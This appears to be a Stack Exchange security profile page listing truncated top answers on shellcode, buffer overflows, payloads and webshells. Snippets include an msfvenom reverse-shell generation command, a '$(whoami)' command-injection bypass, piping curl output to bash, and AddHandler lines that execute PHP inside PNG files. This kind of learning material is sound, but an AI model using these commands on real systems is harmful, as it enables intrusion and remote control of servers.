50
votes
Accepted
I feel like it's impossible to learn reverse engineering
So let me preface this with "I'm not implying you're a child"
Often when I teach kids about CIS and they hear what I do for a living, the first question is
"How do I hack?"
I'll tell you the same ...
- 1,451
42
votes
Accepted
How does shellcode really run?
TL;DR This is a way to execute shellcode which no longer works.
What is a function?
Shellcode is just machine code in places where it is not normally found, such as a variable of type char. In C, ...
- 66.4k
21
votes
Why does my x86 shellcode test program segfault?
I see multiple problems with your shellcode. First of all let's debug your code. I compiled the C code containing your shellcode, run it with gdb and step until the first system call (int 0x80)
[-----...
- 1,954
19
votes
Does analysing Malicious code in gdb pose a security risk?
It certainly does. gdb will not isolate the process at all and will merely give you some control over it to understand what it does.
To do that kind of analysis, you should resort to a fully ...
- 1,969
13
votes
What is the difference between a payload and shellcode?
When exploiting an application, the payload is the code that the attacker actually wants to execute. It's the part that not just serves the purpose of leveraging the vulnerability itself, but does ...
- 44.6k
11
votes
I feel like it's impossible to learn reverse engineering
Reverse engineering is fun. I use IDA once every other week, so I am not an expert in the field but do it often enough. If you want to understand reverse engineering you need to know how to engineer ...
- 3,002
10
votes
Accepted
What does the NSA's Recently Leaked "The Equation Group" Files do?
There's been four top-notch analyses so far regarding incident with the free files (40 percent of what is claimed to be released). Nobody has the password to the auction files yet, which represent ...
- 19k
8
votes
Program exiting after executing int 0x80 instruction when running shellcode
If you are running this from the command line, and you are using the < to feed the shellcode from a file, the shell will immediately terminate when it reaches the end of input. If you want it to ...
- 81
7
votes
Accepted
C shellcode explanation
using ndisasm, the data in the sh array can be disassembled into the following valid 64bit x86-machinecode:
00000000 EB0B jmp short 0xd
00000002 5F pop rdi
00000003 ...
- 354
7
votes
Accepted
Difference between Code Injection, Command Injection and Remote Code Execution
Hmm let me try:
Code injection consists of modifying an executable / compilation unit / script so that it contains malicious code on top of it´s intended functions. Code can be injected locally into ...
- 547
7
votes
Accepted
Is it possible to execute a local file or code from cURL?
Not sure if this is against the spirit of what you are asking but you can pipe the output of a shell script to bash. e.g. curl "file:///root/script.sh" | bash
Also take a look at a list of known curl ...
- 2,691
6
votes
MSFvenom doesn’t generate raw shellcode output properly
You are using a wrong switch. This should work, tried and tested during OSCP training:
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.51 LPORT=443 -f c
No platform was selected, ...
- 61
6
votes
Accepted
Is it possible to use the Linux "echo" command maliciously?
Yes. You can use echo maliciously. You can use > operator to redirect the output to a file where the output can be a malicious code.
echo 'Malicious_code_here' > shell.php
Lets consider a case ...
- 294
6
votes
Accepted
Shellcode in a jpg/png
Simply put, there are various methods to masquerade a shellcode as a jpg file, but the file still needs to be executed. Whether you can do this depends on a variety of factors such as server and OS ...
- 1,916
6
votes
Serving a php webshell without running it locally
Use the following setting in your apache config or in a .htaccess file:
php_flag engine off
See also Disable PHP in directory (including all sub-directories) with .htaccess.
- 29.6k
6
votes
Accepted
Why would legitimate programs have a `jmp esp` instruction?
The instruction jmp esp is encoded as FF E4. It’s not necessary to find an actual jmp instruction, just those bytes in the middle of any other code or data.
This is the basis for return oriented ...
- 734
5
votes
Accepted
Execute PHP inside PNG using curl
First of all, make sure that your webserver knows that it has to interpret PNG file as PHP. You need to add this to your .htaccess file.
AddHandler application/x-httpd-php .png
or
AddHandler ...
- 294
5
votes
Accepted
Is there any downside to always declaring some default bad chars when generating exploits?
For shellcode the only potential issue is size constraints. But assuming null bytes are bad is a bad habit. You might mistakenly think a crash is not exploitable because the only viable pop pop ret/...
- 5,939
5
votes
Accepted
Buffer overflow - Print "hello world"
If you want to get shellcode quick and dirty, use msfvenom. If you want to learn something and become a wizard, I suggest the following:
1. Write a small assembler program for your platform.
You ...
- 3,026
5
votes
Accepted
Do NOP sleds expose shellcode?
IDSs will look for nop sleds, but they can also be masked. Consider that any instruction that is:
Valid and executable
Will continue execution somewhere in the nop sled between itself and the ...
- 118
5
votes
Accepted
Does it matter in which programming language you write the shellcode?
The term "shellcode" comes from the fact that it is typically used to gain shell access on the machine. In most cases, shellcode is used when there is a memory corruption-based vulnerability (e.g. ...
- 12.7k
5
votes
Accepted
Generating unicode javascript shellcode
As hinted at in the comment above, you want to use msfvenom to generate your payload.
Start by finding which payload works best for you by using:
msfvenom -l payloads
This will show you a list of ...
- 1,451
5
votes
A process called ./watchbog is mining crypto currency in our server. How do I stop it?
From my point of view, there is no way to tell if the rest of the server is safe or not.
If I were you, I'd handpick files to save and recreate a fresh server to ensure that it isn't compromised.
...
- 301
5
votes
Accepted
Replace forbidden characters function check python
$(whoami) should bypass the filter and executes whoami.
- 14.7k
5
votes
Accepted
Find Buffer Overflows at a target you want to gain access
As schroeder has already pointed out, to identify buffer overflow vulnerabilities, you'd need to test the application locally with a debugger. It seems to me that you haven't actually gone through the ...
- 295
4
votes
Accepted
Reason behind HeapSpray format
The point of a spray is that you don't always know exactly which block your object was allocated to. I believe it's because how volatile the heap can be. At any given time a block of memory could be ...
- 12.4k
4
votes
Why are PID suffixed temporary files a vulnerability
The issue is that the attacker can create a symlink before a vulnerable program can. For example, you could write a script that watches the process list, and as soon as a program with the right name ...
- 31.4k
4
votes
Accepted
PHP code in filename located in /tmp folder. How worried should I be?
It seems that someone is using this exploit:
ProFTPd 1.3.5 - File Copy
https://www.exploit-db.com/exploits/36742/
Here is also CVE-2015-3306:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-...
- 10.1k
4
votes
Accepted
What lies behind this complicated shellcode on linux?
If you have tried shellcode before which relies on absolute addresses, then that
could explain the crashes. This shellcode survives because it uses call to
obtain the absolute stack pointer address ...
- 6,068
Only top scored, non community-wiki answers of a minimum length are eligible